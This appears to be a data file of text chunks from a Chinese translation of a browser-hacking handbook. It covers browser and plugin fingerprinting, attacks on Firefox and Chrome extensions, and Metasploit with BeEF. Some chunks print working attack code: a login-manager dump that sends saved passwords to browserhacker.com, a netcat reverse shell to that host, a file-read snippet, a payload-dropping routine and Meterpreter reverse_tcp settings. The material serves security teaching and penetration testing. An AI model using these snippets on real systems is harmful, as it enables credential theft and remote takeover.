get_byte(msg, byte+1); } else { // 消息结束，完成 delta = (Date.now() - timing[msg])/1000; bytes_per_second = \"\" + ((messages[msg].length + 1) * 8)/delta; console.log(messages[msg] + \" - (\" + (bytes_per_second.substr(0,5)) + \" bits/second)\"); } } get_message(0); 位存储在 bits 数组中，还有与请求对应的位数。"},
    {"text": "要回答这个问题，本节会查看HTTP请求首部、DOM属性，以及分析浏览器的独有特征。 HTTP请求首部是随同每一个Web请求发送的信息，详细描述了浏览器支持的特性、请求的URL，以及主机名和其他信息。"},
    {"text": "通过查看DOM，可以看到浏览器保存的正在浏览的页面信息。 由于不同浏览器支持不同的特性，特别是支持暴露给DOM的不同特性，因此查看DOM有助于了解浏览器特别支持的特性。"},
    {"text": "其他首部表示通信参数，其中Accept首部表示浏览器将接受什么类型的信息来作为响应，Accept-Language首部表示期望的语言。 Accept-Encoding首部表示为节省流量最合适的数据压缩方式，而Connection首部表示它支持一次连接多次请求。"},
    {"text": "这些信息不仅能帮你识别浏览器，还能识别系统中安装的相关软件。 查看这里的UA首部，除了能从中看出这是Windows XP中的IE6之外，还能发现系统安装了很多基于Web的增强软件。"},
    {"text": "比如，以下代码演示了如何检测iPhone： var deviceIphone = \"iphone\"; var deviceIpod = \"ipod\"; var deviceIpad = \"ipad\"; function DetectIphone() { if (uagent.search(deviceIphone) > -1) { if (DetectIpad() || DetectIpod()) return false; else return true; } else return false; } 除了检测iPhone，这个库还提供了一些函数，可以检测Symbian设备、Google TV、摩托罗拉Xoom设备、各种BlackBerry设备、Palm的WebOS、游戏主机，等等。"},
    {"text": "访问 http://webbrowsercompatibility.com/dom/desktop/ ，可以看到DOM属性的差异 6 。 这个网站提供了不同浏览器版本与相应DOM特性的信息，让开发者了解某项功能是否得到了全部浏览器的支持。"},
    {"text": "6 Cody Lindley. (Unknown Year). Desktop Browser Compatibility Tables For DOM . Retrieved August 12, 2013 from http://webbrowsercompatibility.com/dom/desktop/ 在查询DOM属性时，可能会得到下面4种响应结果： Undefined ，原因是属性不存在；"},
    {"text": "这种方式与直观的方式相反，因此要确定某个属性是否存在，要使用双重否定来得到更直观的答案，比如 !!window.devicePixelRatio 。 在属性存在的情况下，这个双重否定表达式当然会返回 true ，而在不存在的情况下，则返回 false 。"},
    {"text": "7 Mozilla. (2013). Firefox Notes—Mobile . Retrieved August 12, 2013 from https://www.mozilla.org/en-US/mobile/18.0/releasenotes/ 图 6-5 Firefox发布说明表示添加了新属性 知道了这个信息，就可以利用它来采集浏览器指纹了。"},
    {"text": "图 6-6 启用Firebug的Command Editor面板 在两个Firebug控制台窗口中都执行 !!window.devicePixelRatio ，可以看到返回了相反的布尔值。 在Firefox 17中执行 !!window.devicePixelRatio ，得到的布尔值是 false ，如图6-7所示。 图 6-7 检测Firefox 17中是否存在 devicePixelRatio 属性 在Firefox 18中执行 !!window.devicePixelRatio ，会看到布尔值为 true 的结果返回，如图6-8所示。 图 6-8 检测Firefox 18中是否存在 devicePixelRatio 属性 在这里，关键是要知道它并非针对Firefox 18的测试。 这个测试告诉我们浏览器是Firefox（也可能不是），而版本等于或大于18（如果测试返回 true ）。 另外，它也会告诉我们浏览器版本小于18（如果测试返回 false ）。 实践中，可以把这个信息封装在一个JavaScript函数里，用于识别特定的Firefox版本。"},
    {"text": "查看一下Firefox的发布说明 8 ，除了Firefox 18中的改变之外，Firefox 21又添加了新属性 window.crypto.getRandomValues 。 有了这两个属性，又可以进一步缩小浏览器版本的范围： 8 Mozilla. (2013). Mozilla Firefox Web Browser—Mozilla Firefox Release Notes . Retrieved August 12, 2013 from http://www.mozilla.org/en-US/products/firefox/releases/ function fingerprint_FF(){ result = \"Unknown\"; if(!!window.crypto.getRandomValues) { result = \"21+\"; }else{ if(!!window.devicePixelRatio){ result = \"18+\"; }else{ result = \"-17\"; } } alert(result); } 有了这段JavaScript，可以检测浏览器版本是大于等于21，还是大于18，或者小于17。"},
    {"text": "假如Web浏览器开发者决定在版本25中去掉 devicePixelRatio 属性，或者在版本17.9中添加这个属性，那么就可能导致我们的检测算法失效或误报。"},
    {"text": "假设http://browservictim.com是你控制之下的一个源，那么在文档的head部分加上如下代码之后，就可能导致使用DOM属性来采集浏览器指纹的第三方JavaScript中招： <script> // 通过如下代码，!!window.opera 检测返回true var opera = {isOpera: true} window.opera = opera; </script> 在取得相应的DOM属性后，访问window.opera将返回如下结果： >window.opera Object {isOpera: true} >!!window.opera true 想确定具体的浏览器版本时，不能仅仅依靠一个浏览器特征。"},
    {"text": "9 Google. (2013). Chrome Web Store--User-Agent Switcher for Chrome . Retrieved December 1, 2013 from http://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg 10 Mozilla. (2013). User Agent Switcher: Add-ons for Firefox . Retrieved December 1, 2013 from https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/ 6.1.3 基于软件bug 浏览器bug通常是采集浏览器指纹的可靠方式。"},
    {"text": "注意，我们这里所说的bug，并不是通常意义的bug，即并非指会导致安全问题的意外的功能。 在这里，我们说的bug不一定涉及安全，但同样是一个意外的功能。"},
    {"text": "这种bug可能存在于某个浏览器的某个特定版本，然后在后续某个版本中被修复。 触发这些bug并辅以它们相应的修复版本信息，就可以可靠地确定浏览器提供商和版本（边界）。"},
    {"text": "它会导致执行以下代码时返回 false ： function testVuln(){ return !!document.implementation.createHTMLDocument(undefined) .querySelector(\"title\").textContent ; } alert(testVuln()) 可是，如果结果返回 true ，我们就知道这个bug已经被修复了。"},
    {"text": "Erwan Abgrall等人发表过一篇论文 11 ，主要研究浏览器特有行为，展示了通过特有的XSS浏览器行为，可以识别浏览器的类型，甚至浏览器的特定版本号。 11 Abgrall Erwan, Yves Le Traon, Martin Monperrus, Sylvain Gombault, Mario Heiderich, and Alain Ribault. (2012). XSS-FP: Browser Fingerprinting using HTML Parser Quirks . Retrieved August 12, 2013 from https://portail.telecom-bretagne.eu/publi/public/fic_download.jsp?id=12491 浏览器特有行为是不同浏览器及平台的最重要的信息源。"},
    {"text": "通过检测这些变量，可以区分Firefox和IE： var browser=\"Unknown\"; var version = \"\"; if ( !document.hidden){ if(!!document.mozHidden == document.mozHidden){ browser=\"Firefox\"; }else if(!!document.msHidden == document.msHidden){ browser=\"IE\"; } } if(browser == \"Firefox\") { if(!!('content' in document.createElement('template'))){ version = \">=22\"; }else{ version = \"<= 21\"; } }else if(browser == \"IE\") { version = \">=10\"; } alert(browser + \":\" + version); 在这个例子中，第一个测试根据 hidden 变量检测，设置 browser 变量。"},
    {"text": "Unknown 9.12 问题 (1) 什么是前置请求？ (2) 跨域Web应用指纹采集的原理是什么？它违反同源策略吗？ (3) 如何盲勾连一个新域？请举一个例子。 (4) 有什么方法可以检测用户是否登录到了Web应用，但同时又不违反同源策略？ (5) 为什么XSRF漏洞加上跨域请求可能造成毁灭性打击？伪随机防御XSRF token又如何防范它？ (6) 能够不违反同源策略跨域检测的SQL注入是哪种？属于盲注吗？ (7) 如何通过勾连浏览器代理HTTP请求？ (8) 描述一下本章最后一节介绍的GlassFish利用（CVE-2012-0550）的原理。有没有什么注意事项？ (9) 如何利用允许来自所有域请求的宽松的跨域策略？描述现实中的一个例子。 (10) 请讲一个Web应用痛点的例子。 要查看问题答案，请访问本书网站 https://browserhacker.com/answers ，或者Wiley的网站 http://www.wiley.com/go/browserhackershandbook 。"},
    {"text": "Unknown 8.2 采集插件指纹 与攻击浏览器扩展类似，如果你提前知道了自己要对付的是什么，那么攻击插件也会容易很多。 采集插件指纹非常类似于采集浏览器指纹，就是向浏览器发送请求，确定运行的到底是什么。"},
    {"text": "Firefox和Chrome会把安装的插件放在一个DOM对象 navigator.plugins 中 6 ，因此手工查询起来非常方便。 为此，只要简单创建一个网页，结合Mozilla参考信息输出一个表格即可： 6 Mozilla Developer Network. (2013). Navigator. plugins . Retrieved October23, 2013 from https://developer.mozilla.org/en-US/docs/Web/API/NavigatorPlugins.plugins <HTML> <BODY> <SCRIPT> var pluginLen = navigator.plugins.length; document.write(\"<TABLE><TR><TH COLSPAN=4>\"); document.write( \"Plugins Found: \" + pluginLen.toString() + \" </TH></TR>\" + \"<TR><TH>Name</TH><TH>Filename</TH>\" + \"<TH>Description</TH><TH>Version</TH></TR>\\n\" ); for(var i = 0; i < pluginLen; i++) { document.write( \"<TR><TD>\"+ navigator.plugins[i].name + \"</TD><TD>\" + navigator.plugins[i].filename + \"</TD><TD>\" + navigator.plugins[i].description + \"</TD><TD>\" + navigator.plugins[i].version + \"</TD></TR>\\n\" ); } document.write(\"</TABLE>\"); </SCRIPT> </BODY> </HTML> 把前面代码保存为HTML文件，然后加载到浏览器，就会输出一个如图8-4所示的表格，列出每种插件的名称和版本。 可以从中看出哪些插件是激活的，能直接调用，哪些插件需要“点击播放”，另外有些插件可能需要进一步加以确认。"},
    {"text": "在图8-4中，可以看到运行前面代码之后的结果，其实就是简单地枚举了 navigator.plugins 这个DOM对象。 图 8-4 枚举DOM对象 navigator.plugins 在Firefox和Chrome中，可以进一步检测 navigator.mimeTypes 这个DOM对象。"},
    {"text": "通过使用 !! 技巧（6.1.2节介绍过），很容易根据MIME类型检测出浏览器是否安装了Flash： >>> !!navigator.mimeTypes[\"application/x-shockwave-flash\"] true 在IE中，多数插件都在ActiveX控件中执行。"},
    {"text": "比如，要检测IE中是否启用了Flash，可以执行以下JavaScript代码： flash_versions = 11; flash_installed = false; objname = \"ShockwaveFlash.ShockwaveFlash.\"; if (window.ActiveXObject) { for (x = 2; x <= flash_versions; x++) { try { Flash = eval(\"new ActiveXObject('\" + objname + x + \"');\"); if (Flash) { flash_installed = true; } } catch (e) { } } } 代码最后，如果 flash_installed 变量值为 true ，则说明安装了Flash，而如果值为 false ，则说明没安装。"},
    {"text": "每个针对Flash的ActiveX对象，对应每个版本都会返回不同的名称。 这样通过迭代这些名称，以及当时创建的ActiveX对象，就能知道安装了哪个版本的Flash。"},
    {"text": "7 PinLady. (2011). Plugin Detect . Retrieved October 23, 2013 from http://www.pinlady.net/PluginDetect/ 这些框架类型可以帮我们快速定位那些可能被攻击的目标插件。"},
    {"text": "虽然对检测插件来说，PluginDetect是不错的工具，但如果你只想看看自己的浏览器里安装了哪些插件，以及这些插件是否都及时更新了，可以用浏览器打开Mozilla的一个插件检测网站 8 。 这个站点不仅会列出浏览器中已安装的插件，还会检测插件的更新状态。"},
    {"text": "8 Mozilla. (2013). Plugin Check . Retrieved October 23, 2013 from https://www.mozilla.org/en-US/plugincheck/ 图 8-5 Mozilla插件状态页面展示了需要更新的插件 这个插件状态页面检测了很多常用插件，不过从图8-5中也可以看到，有些插件是这个页面不知道的。"},
    {"text": "8.2.3 用BeEF检测插件 前面讨论的方法可以帮你检测插件，或者编写插件检测框架，但有时候使用现成的工具还是最方便。 BeEF内置了插件检测工具，除非需要检测BeEF不知道的最新插件，否则不需要对它进行扩展就可以直接拿来用。 通过BeEF勾连浏览器之后，它可以自动帮你检测插件。 图8-6展示了BeEF在勾连浏览器后，通过指纹采集默认为你检测到的插件信息。"},
    {"text": "橙色插件表示在某些条件下可能会提示用户，比如在插件存在的情况下可能不会提示用户，但在插件不存在时可能会提示（有时候也可能是相反的情况下会提示用户）。"},
    {"text": "Unknown 1.1 首要问题 请大家暂时忘掉浏览器，只想着眼前有一块空白的安全画布。假设你身处这么一种境况：你要对一家公司的安全负责，必须作出某些决策。你在决定部署某个软件时，会不会考虑它可能面临的风险有多大？这个软件必须在 标准运行环境 （Standard Operating Environment，SOE）中无差异地安装到公司内的几乎所有机器上。人们要通过它来存取最敏感的数据，执行最敏感的操作。这个软件几乎是公司每个员工的日常工具，包括CEO、董事会成员、系统管理员、财务、人力资源，甚至你们的客户。鉴于它对公司的核心业务数据拥有如此高的权限，毫无疑问会成为黑客的理想攻击目标，因而面临极大风险。 这个软件的设计规格大致是这样的。 它要向互联网请求指令，然后执行获取的指令。 防御者无法控制这些指令。 某些指令会要求这个软件从以下来源再次请求其他指令： 互联网的其他地方； 内部网的其他地方； 非标准的HTTP和HTTPS TCP端口。 某些指令会要求这个软件通过TCP发送数据。这可能会造成对其他联网设备的攻击。 它会与互联网中任意服务器进行加密通信。防御者无法看到通信内容。 它会不断向攻击者暴露攻击目标。它会在后台静默更新。 它经常会依赖插件获得某些功能。没有统一的机制更新这些插件。 此外，对这个软件的相关研究表明： 插件一般来说都不如核心软件本身安全； 这个软件的每个变体都有文档载明的漏洞； 一份安全情报报告（Security Intelligence Report） 1 得出结论，说这个软件是企业最大的威胁 2 。 1 Microsoft. (2013). Security Intelligence Report (SIR) Vol. 15 . Retrieved December 12, 2013 from http://www.microsoft.com/security/sir/default.aspx 2 Antone Gonsalves. (2013). Browsers pose the greatest threat to enterprise, Microsoft reports . Retrieved December 12, 2013 from http://www.networkworld.com/news/2013/041913-browsers-pose-the-greatest-threat-268914.html 显然，根据以上描述，你一定知道我们说的就是浏览器。不过，再次请你忘掉这些，以及相关的历史事件，回到我们那张空白的安全画布面前。想一想，就这种软件的部署量居然如此之高，真的都禁不住要怀疑人类的智商了。不论通过它获取数据有多方便，仅从其设计规格来看，它所面临的安全风险就是极其巨大的。 不过，回到现实当中，以上所有说法都是纯理论的探讨。实际上，我们已经走上了一条不归路。如今互联网上网站多如繁星，谁敢因为浏览器有重大安全隐患，就勒令所有员工卸载它？或许你知道，浏览器的装机量要以十亿计。不让员工装浏览器，无疑会降低其工作效率。更不用说这个措施多难让人接受，会被认为是开历史倒车了！ 浏览器达到了前所未有的使用量，取决于个人的使用情况，也暴露出了各种各样的问题和安全挑战。对很多不搞技术的人来说，无处不在的浏览器就意味着“互联网”。浏览器只能展示 IP协议 （Internet Protocol）所能理解的数据。在互联网时代，浏览器在人们日常生活中的地位是不可动摇的，IT行业的发展也与它密不可分。 放眼四望，浏览器在网络中几乎无孔不入。用户网中有它，客户服务网中有它，甚至安全禁区（DMZ）中都有它的身影。不要忘了，很多情况下用户管理员必须使用浏览器来管理自己负责的网络设备。网络设备厂商都在顺应Web大潮，努力利用浏览器无所不在的现实，而不会考虑重新发明轮子。 人们对通过浏览器上网的依赖是毫无疑问的。实际上，与其问自己在哪里能看到浏览器，倒不如问自己在哪里看不到它。"},
    {"text": "扩展存在于浏览器进程空间，而插件可以独立执行。 扩展可以创建浏览器菜单和标签页，而插件不行。 与扩展不同，插件只影响加载它的页面，而不会被别的网页自动包含。 加载插件的方法有两种。"},
    {"text": "1 Google. (2013). Google Analytics Opt-out Add-on . Retrieved November 30, 2013 from https://chrome.google.com/webstore/detail/google-analytics-opt-out/fllaojicojecljbmefodhfapmkghcbnh 2 Microsoft. (2013). How do browser add-ons affect my computer . Retrieved November 30, 2013 from http://windows.microsoft.com/en-AU/windows-vista/How-do-browser-add-ons-affect-my-computer 3 Wikipedia. (2013). Mozilla Add-ons . Retrieved November 30, 2013 from http://en.wikipedia.org/wiki/Mozilla_Add-ons 一般来说，附加程序指的是除浏览器及其插件之外的所有外部程序。"},
    {"text": "图 7-2 Firefox扩展的结构 1. 研究源代码 Firefox扩展是一个使用zip格式的压缩文件，只不过没有使用传统的.zip文件名后缀（这里为避免混淆，不说“文件名扩展”），而使用的是.xpi（读音为zippy）后缀。"},
    {"text": "这就意味着提取Firefox扩展中的文件很容易，用不着什么查看源代码的新方法。 只要使用解压缩程序，就可以把Firefox扩展的目录结构和源文件提取出来。"},
    {"text": "Firefox扩展的目录结构 Firefox扩展的目录结构相对固定，其中的子目录各有用途，大概如下。 Chrome：包含下层子目录 Content：包含主功能 Skin：包含图片和CSS Defaults：包含偏好配置项 Components：包含XPCOM组件（可选） content目录中很可能包含你感兴趣的内容，其中有主JavaScript扩展，有时候还会有一些二进制库。"},
    {"text": "Firefox就根据这两个参数有还是没有，来判断扩展应该如何更新。 如果这两个参数都没有，则由Mozilla的附加程序来全权管理扩展的更新，因而攻击更新过程的可能性也比较小。"},
    {"text": "令人称奇的是，就连Firefox浏览器本身也是使用XUL写的，在地址栏中输入chrome:// URL可以发现这一点。 比如，在地址栏中输入chrome://browser/content/browser.xul，可以看到图7-4所示的结果。 图 7-4 Firefox中chrome://的例子 图7-4展示了在Firefox中加载URL chrome://browser/content/browser.xul之后的结果。"},
    {"text": "3. 探索XPCOM API XPCOM（Cross Platform Component Object Model，跨平台组件对象模型） API为浏览器扩展提供了更多功能。 XPCOM就是在浏览器中使用的跨平台组件模型。 如果你熟悉微软的COM，那么可以把XPCOM想象为Mozilla自家的COM。 扩展中的JavaScript需要通过某种方式访问XPCOM。 这时候就要用到XPConnect了，它在XPCOM和JavaScript中架起了一座桥梁。 通过XPConnect，JavaScript能够调用XPCOM的各种功能。 实际上，必须要通过XPConnect在chrome://区域调用XPCOM的API。"},
    {"text": "4 Roberto Suggi Liverani, Nick Freeman. (2009). Abusing Firefox Extensions .Retrieved November 30, 2013 from http://www.security-assessment.com/files/documents/presentations/liverani_freeman_abusing_firefox_extensions_defcon17.pdf (1) 利用登录管理器 与其他浏览器一样，Firefox也为保存用户访问过的Web应用的用户名和密码提供了一种方法。"},
    {"text": "这些功能都可以通过XPCOM API访问到，而且还包括用途极为明显的 getAllLogins() 方法 5 ： 5 Mozilla. (2013). nsIOutputStream . Retrieved November 30, 2013 from https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsILoginManager#searchLogins () // 取得登录管理对象 var l2m=Components.classes[ \"@mozilla.org/loginmanager;1\"]. getService(Components.interfaces.nsILoginManager); // 从登录管理对象中取得所有凭据 allCredentials = l2m.getAllLogins({}); // 提取主机、用户名和密码 for (i=0;i<=allCredentials.length;i=i+1){ var url = \"http://browserhacker.com/\"; url += \"?host=\" + encodeURI(allCredentials[i].hostname); url += \"&user=\" + encodeURI(allCredentials[i].username); url += \"&password=\" + encodeURI(allCredentials[i].password); window.open(url); } 以上代码展示了如何把Firefox登录管理器中的所有内容都提取出来 6 。"},
    {"text": "6 Nick Freeman. (2009). ScribeFire (Mozilla Firefox Extension)--Code InjectionVulnerability . Retrieved November 30, 2013 from http://www.securityassessment.com/files/advisories/ScribeFire_Firefox_Extension_Privileged_Code_Injection.pdf 图 7-5 Apache日志中记录着偷来的用户凭证信息 (2) 读取文件系统 SOP不适用于扩展中的URL。"},
    {"text": "因此在chrome://区域中，可以通过该方法读取文件系统中的任意文件： var fileToRead=\"file:///C:/boot.ini\"; var fileContents=document.ReadURL.readFile(fileToRead); 在扩展的这个特权环境中，前面的代码能够读取文件系统中的c:\\boot.ini文件 7 。"},
    {"text": "7 Roberto Suggi Liverani and Nick Freeman. (2010). Exploiting Cross ContextScripting Vulnerabilities in Firefox . Retrieved November 30, 2013 from http://www.security-assessment.com/files/documents/whitepapers/Exploi-ting_Cross_Context_Scripting_vulnerabilities_in_Firefox.pdf (3) 写入文件系统 Firefox用来写入文件系统的XPCOM API是nsIFileOutputStream 8 。"},
    {"text": "8 Mozilla. (2013). nsIOutputStream . Retrieved November 30, 2013 from https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIOutputStream 利用这个XPCOM API可以在攻击中完成更多任务。"},
    {"text": "比如，可以利用它部署Metasploit Meterpreter或其他远程访问工具等payload： function makeFile(bdata){ var workingDir= Components.classes[ \"@mozilla.org/file/directory_service;1\"] .getService(Components.interfaces.nsIProperties) .get(\"Home\", Components.interfaces.nsIFile); var aFile = Components.classes[\"@mozilla.org/file/local;1\"] .createInstance(Components.interfaces.nsILocalFile); aFile.initWithPath( workingDir.path + \"\\\\filename.exe\" ); aFile.createUnique( Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777); var stream = Components.classes[ \"@mozilla.org/network/safe-file-outputstream;1\"] .createInstance(Components.interfaces.nsIFileOutputStream); stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0); stream.write(bdata, bdata.length); if (stream instanceof Components.interfaces.nsISafeOutputStream){ stream.finish(); } else { stream.close(); } } 代码中的 makeFile() 方法使用XPCOM写入（Windows）文件系统。"},
    {"text": "以下代码演示了如何在Linux操作系统中，使用Netcat执行反向shell： var lFile = Components.classes[\"@mozilla.org/file/local;1\"] .createInstance(Components.interfaces.nsILocalFile); var lPath = \"/bin/nc\"; lFile.initWithPath(lPath); var process = Components.classes[\"@mozilla.org/process/util;1\"] .createInstance(Componen ts.interfaces.nsIProcess); process.init(lFile); process.run(false,['-e', '/bin/bash', 'browserhacker.com', '12345'],4); 这个例子同时使用了nsILocalFile和nsIProcess来达到控制目标浏览器所在系统的目的。"},
    {"text": "9 Mozilla. (2013). Displaying web content in an extension without security issues .Retrieved November 30, 2013 from https://developer.mozilla.org/en-US/docs/Displaying_web_content_in_an_extension_without_security_issues 10 Adam Barth, Adrienne Porter Felt, Prateek Saxena, and Aaron Boodman.(2012). Protecting Browsers from Extension Vulnerabilities . Retrieved November 30, 2013 from http://www.cs.berkeley.edu/~afelt/secureex-tensions.pdf 7.1.5 理解Chrome扩展 与Firefox扩展类似，Chrome扩展运行时拥有的权限也很高。 Chrome扩展可以做到正常情况下网页中的JavaScript代码做不到的事。 比如，Chrome扩展可以访问所有打开的标签页、发送跨域请求、读取cookie（包括那些标记为HttpOnly的cookie），等等。 如图7-8所示，Chrome比Firefox的架构要复杂一些，除了包含有特权的chrome://区域，还有安全边界。 图 7-8 相关的Chrome扩展结构 每个Chrome扩展都包含一个 清单文件 （manifest file），以及由后台页面、UI页面及内容脚本构成的其他组件。"},
    {"text": "Chrome可以帮到你！ 把扩展安装到Chrome浏览器，然后动态进行调试。 在chrome://extensions中切换到开发者模式，就可以运行解压缩到你选定的目录的扩展。 启用开发者模式后，可以通过Inspect Views选项打开Chrome Developer Tools窗口。 点击Extensions标签页中Inspect Views后面的文件。"},
    {"text": "下面的代码展示了一个示例manifest.json文件的内容： { \"name\": \"extensionName\", \"version\": \"versionString\", \"manifest_version\": 2 <rest of content> } 清单文件第1版的安全限制相对较少，因此也对攻击流行的Chrome扩展提供了很多机会 12 。"},
    {"text": "12 Nicholas Carlini, Adrienne Porter Felt, and David Wagner. (2012). An Evaluation of the Google Chrome Extension Security Architecture .Retrieved November 30, 2013 from http://www.eecs.berkeley.edu/~afelt/extensionvulnerabilities.pdf 为此，谷歌开发了清单文件第2版，采用了默认安全的策略。"},
    {"text": "13 W3C. (2012). Content Security Policy 1.0 . Retrieved November 30, 2013 from http://www.w3.org/TR/CSP/ 本书出版之际，Chrome不再支持使用清单文件第1版的扩展，只支持使用第2版的扩展。"},
    {"text": "虽然严格来讲内容脚本是扩展的一部分，但有时候把它想象成网页的一部分会更有帮助。 不过，这个部分非常特殊，它既不同于其他扩展脚本，也不同于运行在网页中的标准脚本。"},
    {"text": "14 Google. (2013). Content scripts . Retrieved November 30, 2013 from https://developer.chrome.com/extensions/content_scripts.html 然而，内容脚本又的的确确是扩展的组件，从它们稍微被提高的访问权限可以清楚地看到这一点。"},
    {"text": "它们可以对任何列在其清单文件中的来源，发起跨域XHR请求： \"permissions\": [ \"http://*/*\", \"https://*/*\" ] 前面清单文件中的JSON代码表明，内容脚本可以对任何HTTP和HTTPS源发送 XMLHttpRequest 请求。"},
    {"text": "每个扩展至多有一个后台页面，与打开多少窗口或标签页无关。 不过，隐身标签页另当别论，一般来说，所有打开的窗口和标签页是共享后台页面的。"},
    {"text": "15 Google. (2013). NPAPI . Retrieved November 30, 2013 from http://developer.chrome.com/extensions/npapi.html 16 Wikipedia. (2013). NPAPI . Retrieved November 30, 2013 from https://en.wikipedia.org/wiki/NPAPI NPAPI插件在Chrome沙箱外部运行，拥有用户权限。"},
    {"text": "17 Google. (2013). NPAPI warning . Retrieved November 30, 2013 from http://developer.chrome.com/extensions/npapi.html#warning NPAPI插件可能存在缓冲区溢出、格式字符串bug和命令注入等漏洞。"},
    {"text": "下面的例子展示了某些manifest.json的内容，这些内容表明目标扩展在使用插件： { \"name\": \"BHH Extension\", ... \"plugins\": [ {\"path\": \"bhh_extension_plugin.dll\" } ], ... } 如果你在目标扩展中看到前面的代码，那么就有必要探索相关插件可能存在的漏洞。"},
    {"text": "以下代码示例演示了基于http://browservictim.com/的匹配模式: \"content_scripts\": [ { \"matches\": [\"http://browservictim.com/*\"], \"css\": [\"styles.css\"], \"js\": [\"script.js\"] } ], 特别要注意匹配模式中包含通配符的扩展，比如 file:///* 、 http://*/* 、 *://*/* 或 <all_urls> 。"},
    {"text": "相应的权限同样也在manifest.json文件中列出，比如下面这个例子： \"permissions\": [ \"http://*/*\", \"https://*/*\", \"tabs\", \"cookies\" ], 这个扩展在安装的时候，用户会看到一个确认对话框，以人类可读的方式告诉用户扩展在请求什么权限 18 。 只要用户点击了Add安装扩展，那么对话框中列出的权限就相当于全部赋予了扩展，如图7-11所示。 18 Google. (2013). Permission warning . Retrieved November 30, 2013 from https://developer.chrome.com/extensions/permission_warnings.html 图 7-11 Quick Note扩展在安装时请求权限 Chrome Web Store中的很多扩展，在安装时都会请求“Access your data on all websites”（访问你在所有网站中的数据）这项权限。 同意安装这些扩展之后，它们就获得了访问你打开的所有网站的权限，包括使用HTTPS URI模式访问的网站。"},
    {"text": "下面就是一个在扩展后台页中运行，并与内容脚本通信的代码示例： 19 Google. (2013). Messaging security considerations . Retrieved November30, 2013 from http://developer.chrome.com/extensions/messaging.html#security-considerations chrome.tabs.sendMessage(tab.id, {greeting: \"hello\"}, function(response) { var resp = eval(\"(\" + response.farewell + \")\"); }); 前面的代码不安全地使用了 eval ，将内容脚本消息作为参数的一部分。 下面这个例子使用 innerHTML 将不受信任的响应写入DOM： chrome.tabs.sendMessage(tab.id, {greeting: \"hello\"}, function(response) { document.getElementById(\"resp\").innerHTML = response.farewell; }); 注意， eval 和 innerHTML 都是审读目标扩展的代码时，需要重点关注的地方，尤其是在后台页面中使用的时候。"},
    {"text": "如果开发者在manifest.json文件中明确声明了，那么可以在网页中直接访问消息API： \"externally_connectable\": { \"matches\": [\"http://browservictim.com/*\"] } 在这行JSON代码中， externally_connectable 声明意味着源可以直接访问消息传递API。"},
    {"text": "20 Google. (2013). Content security policy . Retrieved November 30, 2013 from http://developer.chrome.com/extensions/contentSecurityPolicy.html 具体的CSP限制是通过manifest.json文件中的 content_security_policy 参数来定义的。"},
    {"text": "21 Microsoft. (2013). Browser Extensions . Retrieved November 30, 2013 from http://msdn.microsoft.com/en-us/library/aa753587(v=vs.85).aspx 微软把IE扩展归类为包含BHO（Browser Helper Objects，浏览器帮助对象）、工具条和ActiveX控件 22 。"},
    {"text": "22 Microsoft. (2013). Browser Extensions Overviews and Tutorials . Retrieved November 30, 2013 from http://msdn.microsoft.com/en-us/library/aa753616(v=vs.85).aspx 使用受控代码编写IE扩展，可以减少出现漏洞的机会。"},
    {"text": "23 Microsoft. (2013). About Browser Extensions . Retrieved November 30, 2013 from http://msdn.microsoft.com/en-us/library/aa753620(v=vs.85).aspx 与Chrome和Firefox的扩展不同，不可能解压缩IE扩展来窥探源代码。"},
    {"text": "这个框架提供了利用开发者需要的很多功能，包括随机化的工具配备，针对多个环境和系统的预加固的shell，VNC连接处理，以及利用可能需要执行的其他类型的payload。"},
    {"text": "无论什么使用场景，所有信息都能够唾手可得，让各个层面的用户都能理解利用的目的是什么，影响有多大，如何运作以及如何检测它，而且还为测试提供了一个可以重现的场所。"},
    {"text": "要搜索针对IE8的所有模块，可以输入 search IE8 ，如下所示： msf > search IE8 [!] Database not connected or cache not built, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/browser/adobe_flashplayer_arrayindexing 2012-06-21 00:00:00 UTC great Adobe Flash Player AVM Verification Logic Array Indexing Code Execution exploit/windows/browser/ie_cgenericelement_uaf 2013-05-03 00:00:00 UTC good MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability <snipped for brevity> 要获得关于某个模块的更多信息，可以输入info exploit/windows/browser/ie_cgene-ricelement_uaf ，例如： msf> info exploit/windows/browser/ie_cgenericelement_uaf Name: MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability Module: exploit/windows/browser/ie_cgenericelement_uaf Version: 0 Platform: Windows Privileged: No License: Metasploit Framework License (BSD) Rank: Good <snipped for brevity> 虽然这里只给出了部分输出，但足以说明如何发现模块，以及获得模块相关的信息了。"},
    {"text": "接下来要做的就是在Metasploit中启动Web服务器，然后使用BeEF将浏览器定向到Metasploit的监听端口上。 在处理针对浏览器的利用时，Metasploit会启动一个Web服务器，接收浏览器请求的信息。 Metasploit的Web服务器，可能有多个端点或者URI路径可供使用。 这样，一个Metasploit实例就可以在同一个网络端口上服务多个利用，而无需为每个利用单独启动一个服务器。"},
    {"text": "为此，需要输入以下命令： set URIPATH /single set SRVPORT 80 show options show targets set payload windows/meterpreter/reverse_tcp show options 这样就设置了路径为 /single ，并让服务器监听80端口。"},
    {"text": "关于payload，也有很多选择，可以通过输入 show payloads 来查看。 其中比较常用的一个payload是meterpreter。 这个payload是一个用于渗透测试的定制化的shell，有很多功能可以辅助利用后攻击。"},
    {"text": "下面这个例子是直接连接到主机的，因此使用了反向shell： set payload windows/meterpreter/reverse_tcp show options ---SNIP--- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port 选择了meterpreter反向TCP shell之后，需要确定三个选项： EXITFUNC 、 LHOST 和 LPORT 。"},
